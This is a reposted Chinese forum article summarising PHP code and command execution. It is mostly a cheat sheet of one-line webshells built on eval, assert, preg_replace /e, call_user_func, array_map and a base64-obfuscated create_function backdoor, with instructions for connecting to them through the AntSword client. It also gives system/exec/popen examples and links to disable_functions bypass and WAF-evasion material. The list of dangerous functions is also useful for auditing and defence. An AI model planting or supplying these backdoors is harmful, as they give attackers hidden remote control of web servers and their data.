孙云记 發表於 2020-9-28 17:06:00

PHP代码执行/命令执行总结

<h2 id="代码执行">代码执行</h2>
<h3 id="eval">eval</h3>
<p><strong>(PHP 4, PHP 5, PHP 7)</strong></p>
<pre><code class="language-php">eval( string $code) : mixed
</code></pre>
<p>把字符串 <code>code</code> 作为PHP代码执行。</p>
<pre><code class="language-php">eval($_POST['c']);
</code></pre>
<p>直接蚁剑链接密码为c</p>
<h3 id="assert">assert</h3>
<p><strong>(PHP 4, PHP 5, PHP 7)</strong></p>
<pre><code class="language-php">assert( mixed $assertion[, Throwable $exception]) : bool
</code></pre>
<p>如果 <code>assertion</code> 是字符串,它将会被 assert() 当做 PHP 代码来执行。</p>
<p>使用方法同eval</p>
<pre><code class="language-php">assert($_POST['c']);
</code></pre>
<h3 id="preg_replace">preg_replace</h3>
<p><strong>(PHP 4, PHP 5, PHP 7)</strong></p>
<pre><code class="language-php">preg_replace ( mixed $pattern,mixed $replacement , mixed $subject [, int $limit = -1 [, int &amp;$count ]] ) : mixed
</code></pre>
<p>preg_replace — 执行一个正则表达式的搜索和替换<br>
搜索subject中匹配pattern的部分,以replacement进行替换。</p>
<p>当使用被弃用的 <code>e</code> 修饰符时, 这个函数会转义一些字符,即:<code>'</code>、<code>"</code>、 <code>\</code> 和 <code>NULL</code><br>
然后进行后向引用替换。<strong>在完成替换后, 引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。</strong></p>
<p>举个栗子:</p>
<pre><code class="language-php">echo preg_replace('/chabug/e','phpinfo()','asdasdchabugasd');
</code></pre>
<p><code>/e</code>修饰符前的正则表达式匹配后面的字符串参数,将<code>chabug</code>字符串替换为<code>phpinfo()</code>并且以<code>eval()</code>的方式执行。</p>
<p>一句话:</p>
<pre><code class="language-php">echo preg_replace('/.*/e',$_POST['c'],'');
</code></pre>
<h3 id="call_user_func">call_user_func</h3>
<p><strong>(PHP 4, PHP 5, PHP 7)</strong></p>
<pre><code class="language-php">call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
</code></pre>
<p><code>call_user_func</code> — 把第一个参数作为回调函数调用<br>
第一个参数 <code>callback</code> 是被调用的回调函数,其余参数是回调函数的参数。</p>
<p>举个例子:</p>
<pre><code class="language-php">call_user_func('phpinfo');
</code></pre>
<p>一句话shell:</p>
<pre><code class="language-php">call_user_func($_POST['a'], $_POST['c']);
</code></pre>
<p><img src="https://i.loli.net/2020/09/28/NjJEug2UhvLVz1K.png" alt="image-20200928163116695" loading="lazy"></p>
<p>蚁剑连接</p>
<p><img src="https://i.loli.net/2020/09/28/XzwEHnuDFUfbAPK.png" alt="image-20200928163143655" loading="lazy"></p>
<p><img src="https://i.loli.net/2020/09/28/Cw9HvYb7I2OJFQZ.png" alt="image-20200928163200949" loading="lazy"></p>
<p>需要设置http body和编码器</p>
<h3 id="call_user_func_array">call_user_func_array</h3>
<p><strong>(PHP 4 &gt;= 4.0.4, PHP 5, PHP 7)</strong></p>
<pre><code class="language-php">call_user_func_array ( callable $callback , array $param_arr ) : mixed
</code></pre>
<p><code>call_user_func_array</code> 调用回调函数,并把一个数组参数作为回调函数的参数</p>
<p>举个例子:</p>
<pre><code class="language-php">call_user_func_array($_POST['a'], $_POST['c']);
</code></pre>
<p><img src="https://i.loli.net/2020/09/28/CHO6YdsaMqpFAZv.png" alt="image-20200928163253296" loading="lazy"></p>
<p>和上一个函数相比只是将<code>$c</code>改为数组传入,蚁剑连接方式同理。</p>
<h3 id="create_function">create_function</h3>
<p><strong>(PHP 4 &gt;= 4.0.1, PHP 5, PHP 7)</strong></p>
<pre><code class="language-php">create_function ( string $args , string $code ) : string
</code></pre>
<p>create_function函数接收两个参数<code>$args</code> 和 <code>$code</code> 然后组成新函数<code>function_lambda_func($args){$code;}</code> 并<code>eval(function_lambda_func($args){$code;})</code></p>
<p>我们不需要传参数,直接把<code>$code</code>改为普通的一句话就行了。</p>
<pre><code class="language-php">$c=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJjIl0pOw=='));$c();
</code></pre>
<p>密码c</p>
<h3 id="array_map">array_map</h3>
<p><strong>(PHP 4 &gt;= 4.0.6, PHP 5, PHP 7)</strong></p>
<pre><code class="language-php">array_map ( callable $callback , array $array1 [, array $... ] ) : array
</code></pre>
<p>返回数组,是为 <code>array1</code> 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 <code>array_map() </code>数组数量,两者必须一样。</p>
<p>一句话:</p>
<pre><code class="language-php">array_map('assert',array($_POST['c']));
</code></pre>
<p>还有诸如<code>array_filter</code>、<code>uksort</code>、<code>uasort</code>、<code>array_walk + preg_replace</code>、<code>preg_filter</code>、<code>mb_ereg_replace</code>、<code>register_shutdown_function</code>、<code>filter_var</code></p>
<p>更多的回调函数请移步 创造tips的秘籍——PHP回调后门</p>
<h2 id="命令执行">命令执行</h2>
<h3 id="system">system</h3>
<pre><code class="language-php">system ( string $command [, int &amp;$return_var ] ) : string
</code></pre>
<p>system — 执行外部程序,并且显示输出,本函数执行 command 参数所指定的命令, 并且输出执行结果。</p>
<pre><code class="language-php">system('whoami');
</code></pre>
<h3 id="passthru">passthru</h3>
<pre><code class="language-php">passthru ( string $command [, int &amp;$return_var ] ) : void
</code></pre>
<p>passthru — 执行外部程序并且显示原始输出</p>
<pre><code class="language-php">passthru('whoami');
</code></pre>
<h3 id="exec">exec</h3>
<pre><code class="language-php">exec ( string $command [, array &amp;$output [, int &amp;$return_var ]] ) : string
</code></pre>
<p>exec() 执行 command 参数所指定的命令。</p>
<pre><code class="language-php">echo exec("whoami");
</code></pre>
<h3 id="pcntl_exec">pcntl_exec</h3>
<pre><code class="language-php">pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void
</code></pre>
<p>pcntl_exec — 在当前进程空间执行指定程序<br>
<code>$path</code>指定可执行二进制文件路径</p>
<pre><code class="language-php">pcntl_exec ( "/bin/bash" , array("whoami"));
</code></pre>
<p><strong>该模块不能在非Unix平台(Windows)上运行。</strong></p>
<h3 id="shell_exec">shell_exec</h3>
<pre><code class="language-php">shell_exec ( string $cmd ) : string
</code></pre>
<p>通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。</p>
<pre><code class="language-php">echo shell_exec('whoami');
</code></pre>
<h3 id="popen">popen</h3>
<pre><code class="language-php">popen ( string $command , string $mode ) : resource
</code></pre>
<p>打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。</p>
<pre><code class="language-php">$handle = popen('cmd.exe /c whoami', 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);
</code></pre>
<p>与之对应的还有<code>proc_open()</code>函数</p>
<h3 id="反引号">反引号</h3>
<p>在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回,使用反引号运算符的效果与函数 <code>shell_exec()</code> 相同。</p>
<pre><code class="language-php">echo `whoami`;
</code></pre>
<h3 id="ob_start">ob_start</h3>
<pre><code class="language-php">ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) : bool
</code></pre>
<pre><code class="language-php">$cmd = 'system';
ob_start($cmd);
echo "$_GET";
ob_end_flush();
</code></pre>
<p>实际上还是通过回调system函数,绕不过disablefunc</p>
<h3 id="mail">mail</h3>
<p>讲不清楚,直接贴链接</p>
<ul>
<li>PHP mail()函数漏洞总结</li>
<li>PHP’s mail()远程代码执行</li>
</ul>
<h2 id="bypass_disablefunc">bypass_disablefunc</h2>
<ul>
<li>
<p>https://github.com/l3m0n/Bypass_Disable_functions_Shell</p>
</li>
<li>
<p>https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD</p>
</li>
</ul>
<h2 id="参考">参考</h2>
<ul>
<li>
<p>https://y4er.com/post/code-exec/</p>
</li>
<li>
<p>过狗一句话编写之代码执行漏洞函数代替eval</p>
</li>
<li>
<p>PHP代码/命令执行漏洞</p>
</li>
<li>
<p>创造tips的秘籍——PHP回调后门</p>
</li>
</ul><br><br>
来源:https://www.cnblogs.com/lktop/p/13745752.html
頁: [1]
查看完整版本: PHP代码执行/命令执行总结